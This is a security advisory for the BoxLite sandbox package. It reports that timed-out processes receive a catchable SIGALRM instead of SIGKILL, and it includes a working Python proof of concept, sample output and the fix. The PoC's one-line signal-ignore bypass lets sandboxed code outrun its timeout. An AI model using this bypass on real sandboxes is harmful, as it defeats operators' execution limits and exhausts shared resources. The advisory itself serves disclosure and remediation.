PT-2026-59077 · Pypi · Blox Lite
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
6.5
Medium
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H |
Summary
BoxLite is a sandbox service that allows users to create lightweight virtual machines (Boxes) and run OCI containers within them. BoxLite allows users to configure a timeout for services running inside the virtual machine. When the timeout is triggered, BoxLite sends a signal to kill the process. However, instead of using the uncatchable SIGKILL signal, BoxLite uses the catchable SIGALRM signal. Malicious code running inside the sandbox can exploit this vulnerability to continue running after the timeout is triggered, leading to resource exhaustion within the virtual machine and affecting the availability of the BoxLite service.
Details
- ExecRequest with timeout ms arrives at Execution service
File:
guest/src/service/exec/mod.rs Function: spawn execution() (line 315) Code:rust
// Step 3: Start timeout watcher (if requested)
if req.timeout ms > 0 {
timeout::start timeout watcher(
state,
execution id.clone(),
std::time::Duration::from millis(req.timeout ms),
);
}Issue: Any nonzero
timeout ms triggers the timeout watcher. The host expects this to kill the process after the specified duration.- Timeout watcher sends SIGALRM instead of SIGKILL
File:
guest/src/service/exec/timeout.rs Function: start timeout watcher() (line 13) Code:rust
pub(super) fn start timeout watcher(
exec state: ExecutionState,
exec id: String,
timeout: Duration,
) {
tokio::spawn(async move {
tokio::time::sleep(timeout).await;
// Kill process with SIGKILL ← comment says SIGKILL
use nix::sys::signal::Signal;
if exec state.kill(Signal::SIGALRM).await { // ← but sends SIGALRM
info!(execution id = %exec id, "killed on timeout");
}
});
}Issue: The comment on line 21 explicitly states "Kill process with SIGKILL", but line 23 sends
Signal::SIGALRM. SIGALRM (signal 14) is the POSIX alarm signal and is catchable/ignorable; SIGKILL (signal 9) cannot be caught or ignored. This is a code error — wrong signal constant used.- exec state.kill() passes the signal through unchanged
File:
guest/src/service/exec/state.rs Function: kill() (line 325) Code:rust
pub async fn kill(&self, signal: nix::sys::signal::Signal) -> bool {
let inner = self.inner.lock().await;
if let Some(ref handle) = inner.handle {
handle.kill(signal).is ok()
} else {
false
}
}Issue: No override of the signal — the wrong signal (
SIGALRM) is delivered directly to the process.- ExecHandle.kill() delivers SIGALRM to the process
File:
guest/src/service/exec/exec handle.rs Function: kill() (line 335) Code:rust
pub fn kill(&self, signal: Signal) -> BoxliteResult<()> {
use nix::sys::signal::kill;
kill(self.pid, signal).map err(|e| {
BoxliteError::Internal(format!(
"Failed to send signal {} to process {}: {}",
signal, self.pid, e
))
})
}Issue: Sends SIGALRM (signal 14) to the process. Any process that has registered a custom SIGALRM handler (e.g., via
signal(SIGALRM, handler)) or set SIGALRM to SIG IGN will not be terminated.As seen from the code, the developer indicated in the comments that SIGKILL should be sent to kill the timed-out process, but SIGALRM was used in the implementation, resulting in the vulnerability.
PoC
-
Install Boxlite following the official tutorial.
-
Run the following Python script:
python
#!/usr/bin/env python3
"""
PoC: BoxLite Execution Timeout Bypass via SIGALRM
Reproduces the vulnerability described in:
"Hunt Report: Exec Timeout Enforcement Bypass via SIGALRM Misuse"
Root cause:
guest/src/service/exec/timeout.rs sends Signal::SIGALRM (signal 14,
catchable/ignorable) instead of Signal::SIGKILL (signal 9, uncatchable).
Exploitation:
Any process that calls signal(SIGALRM, SIG IGN) will survive past its
configured timeout and run indefinitely.
Usage:
cd ~/Downloads/boxlite poc
source .venv/bin/activate
python3 poc sigalrm bypass.py
"""
import asyncio
import time
import boxlite
# -----------------------------------------------------------------------------
# Test programs (Python, so no gcc required)
# -----------------------------------------------------------------------------
# Control: no special signal handling — SIGALRM's default action is termination
NORMAL PROCESS = """
import sys, time, os, signal
seconds = int(sys.argv[1]) if len(sys.argv) > 1 else 8
print(f"PID {os.getpid()}: normal process (default SIGALRM), running for {seconds}s", flush=True)
for i in range(1, seconds + 1):
time.sleep(1)
print(f"PID {os.getpid()}: t+{i}s alive", flush=True)
print(f"PID {os.getpid()}: finished", flush=True)
"""
# Exploit: installs SIG IGN for SIGALRM — one line bypass
IGNORE SIGALRM = """
import sys, time, os, signal
seconds = int(sys.argv[1]) if len(sys.argv) > 1 else 8
signal.signal(signal.SIGALRM, signal.SIG IGN) # <-- bypass
print(f"PID {os.getpid()}: SIGALRM=SIG IGN, running for {seconds}s", flush=True)
for i in range(1, seconds + 1):
time.sleep(1)
if i > 3:
print(f"PID {os.getpid()}: t+{i}s STILL ALIVE (PAST 3s TIMEOUT!)", flush=True)
else:
print(f"PID {os.getpid()}: t+{i}s alive", flush=True)
print(f"PID {os.getpid()}: WORKLOAD COMPLETE - TIMEOUT WAS BYPASSED", flush=True)
"""
TIMEOUT S = 3.0 # configured timeout
WORKLOAD S = 8 # process wants to run for 8 seconds
# -----------------------------------------------------------------------------
# Helper
# -----------------------------------------------------------------------------
async def run test(box, name, script, timeout):
print(f"
{'=' * 70}")
print(f"TEST: {name}")
print(f" timeout={timeout}s" if timeout else " timeout=None (disabled)")
print(f"{'=' * 70}")
t0 = time.time()
try:
result = await box.exec("python3", "-c", script, str(WORKLOAD S), timeout=timeout)
elapsed = time.time() - t0
print(f" [RESULT] exit code={result.exit code}, elapsed={elapsed:.2f}s")
print(" [OUTPUT]")
for line in result.stdout.strip().splitlines():
if line.strip():
print(f" {line}")
return {
"elapsed": elapsed,
"exit code": result.exit code,
"timed out": False,
"stdout": result.stdout,
}
except boxlite.TimeoutError as e:
elapsed = time.time() - t0
print(f" [TIMEOUT] BoxLite raised TimeoutError after {elapsed:.2f}s: {e}")
return {"elapsed": elapsed, "exit code": None, "timed out": True, "stdout": ""}
except Exception as e:
elapsed = time.time() - t0
print(f" [ERROR] {type(e). name }: {e} (elapsed {elapsed:.2f}s)")
return {"elapsed": elapsed, "exit code": None, "timed out": False, "stdout": ""}
# -----------------------------------------------------------------------------
# Main
# -----------------------------------------------------------------------------
async def main():
print("BoxLite PoC: Execution Timeout Bypass via SIGALRM")
print("=" * 70)
async with boxlite.SimpleBox(image="python:3-alpine") as box:
print(f"Box started: {box.id}")
# Confirm SIGALRM = 14 inside the container
r = await box.exec("python3", "-c", "import signal; print(signal.SIGALRM)")
print(f"SIGALRM value inside container: {r.stdout.strip()}")
# --- Test 1: CONTROL ---
r1 = await run test(
box,
"CONTROL: Normal process + 3s timeout (default SIGALRM=terminate)",
NORMAL PROCESS,
TIMEOUT S,
)
await asyncio.sleep(1)
# --- Test 2: EXPLOIT ---
r2 = await run test(
box,
"EXPLOIT: SIGALRM=SIG IGN + 3s timeout (BYPASS)",
IGNORE SIGALRM,
TIMEOUT S,
)
await asyncio.sleep(1)
# --- Test 3: BASELINE ---
r3 = await run test(
box,
"BASELINE: Normal process, no timeout (sanity check)",
NORMAL PROCESS,
None,
)
# --- Verdict ---
print(f"
{'=' * 70}")
print("VERDICT")
print(f"{'=' * 70}")
print(f" CONTROL: elapsed={r1['elapsed']:.2f}s exit code={r1['exit code']} timed out={r1['timed out']}")
print(f" EXPLOIT: elapsed={r2['elapsed']:.2f}s exit code={r2['exit code']} timed out={r2['timed out']}")
print(f" BASELINE: elapsed={r3['elapsed']:.2f}s exit code={r3['exit code']} timed out={r3['timed out']}")
# exit code == -14 means killed by signal 14 (SIGALRM), not -9 (SIGKILL)
control killed by sigalrm = r1["exit code"] == -14 and r1["elapsed"] < 5.0
exploit survived = r2["elapsed"] > 5.0 and r2["exit code"] == 0
print()
if control killed by sigalrm:
print(" [+] Control process killed by signal 14 (SIGALRM), not signal 9 (SIGKILL)")
print(" → confirms timeout watcher sends SIGALRM instead of SIGKILL")
if exploit survived:
print(f" [+] Exploit process ran {r2['elapsed']:.1f}s past {TIMEOUT S}s timeout, exited normally")
print(" → SIGALRM was absorbed by SIG IGN, timeout completely bypassed")
if exploit survived and control killed by sigalrm:
print()
print(" *** VULNERABILITY CONFIRMED ***")
print(f" Fix: change Signal::SIGALRM → Signal::SIGKILL in")
print(f" guest/src/service/exec/timeout.rs")
elif not exploit survived:
print(" NOT CONFIRMED: exploit process was also terminated at timeout")
else:
print(" INCONCLUSIVE")
if name == " main ":
asyncio.run(main())
Sample output:
$ python3 poc sigalrm bypass.py
BoxLite PoC: Execution Timeout Bypass via SIGALRM
======================================================================
Box started: W0oCKYIWga2t
SIGALRM value inside container: 14
======================================================================
TEST: CONTROL: Normal process + 3s timeout (default SIGALRM=terminate)
timeout=3.0s
======================================================================
[RESULT] exit code=-14, elapsed=3.01s
[OUTPUT]
PID 3: normal process (default SIGALRM), running for 8s
PID 3: t+1s alive
PID 3: t+2s alive
======================================================================
TEST: EXPLOIT: SIGALRM=SIG IGN + 3s timeout (BYPASS)
timeout=3.0s
======================================================================
[RESULT] exit code=0, elapsed=8.14s
[OUTPUT]
PID 4: SIGALRM=SIG IGN, running for 8s
PID 4: t+1s alive
PID 4: t+2s alive
PID 4: t+3s alive
PID 4: t+4s STILL ALIVE (PAST 3s TIMEOUT!)
PID 4: t+5s STILL ALIVE (PAST 3s TIMEOUT!)
PID 4: t+6s STILL ALIVE (PAST 3s TIMEOUT!)
PID 4: t+7s STILL ALIVE (PAST 3s TIMEOUT!)
PID 4: t+8s STILL ALIVE (PAST 3s TIMEOUT!)
PID 4: WORKLOAD COMPLETE - TIMEOUT WAS BYPASSED
======================================================================
TEST: BASELINE: Normal process, no timeout (sanity check)
timeout=None (disabled)
======================================================================
[RESULT] exit code=0, elapsed=8.09s
[OUTPUT]
PID 5: normal process (default SIGALRM), running for 8s
PID 5: t+1s alive
PID 5: t+2s alive
PID 5: t+3s alive
PID 5: t+4s alive
PID 5: t+5s alive
PID 5: t+6s alive
PID 5: t+7s alive
PID 5: t+8s alive
PID 5: finished
======================================================================
VERDICT
======================================================================
CONTROL: elapsed=3.01s exit code=-14 timed out=False
EXPLOIT: elapsed=8.14s exit code=0 timed out=False
BASELINE: elapsed=8.09s exit code=0 timed out=False
[+] Control process killed by signal 14 (SIGALRM), not signal 9 (SIGKILL)
→ confirms timeout watcher sends SIGALRM instead of SIGKILL
[+] Exploit process ran 8.1s past 3.0s timeout, exited normally
→ SIGALRM was absorbed by SIG IGN, timeout completely bypassed
*** VULNERABILITY CONFIRMED ***
Fix: change Signal::SIGALRM → Signal::SIGKILL in
guest/src/service/exec/timeout.rsAs shown in the output, after catching the SIGALRM signal, the process can continue running, bypassing the timeout restriction.
Impact
Malicious code running inside the sandbox can exploit this vulnerability to continue running after the timeout is triggered, leading to resource exhaustion within the virtual machine and affecting the availability of the BoxLite service.
Score
Severity: Medium, Score: 6.5, rationale as follows:
- AV:N — Can be triggered by submitting code via the network API
- AC:L — No complex exploitation required; catching the signal is sufficient to bypass
- PR:L — The attacker does not need special privileges
- UI:N — The attacker does not need to interact with the victim
- S:U — This vulnerability only affects the sandbox internals and does not change the scope
- C:N/I:N/A:H — This vulnerability only affects availability, not confidentiality or integrity
Credit
This vulnerability was discovered by:
- XlabAI Team of Tencent Xuanwu Lab
- Atuin Automated Vulnerability Discovery Engine
CVE and credit are preferred.
If there are any questions regarding the vulnerability details, please feel free to reach out to Tencent Xuanwu Lab for further discussion by emailing xlabai@tencent.com.
Note
Note that the organization follows the industry-standard 90+30 disclosure policy (Reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). This means that the organization reserves the right to disclose the details of the vulnerability 30 days after the fix has been implemented.
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Blox Lite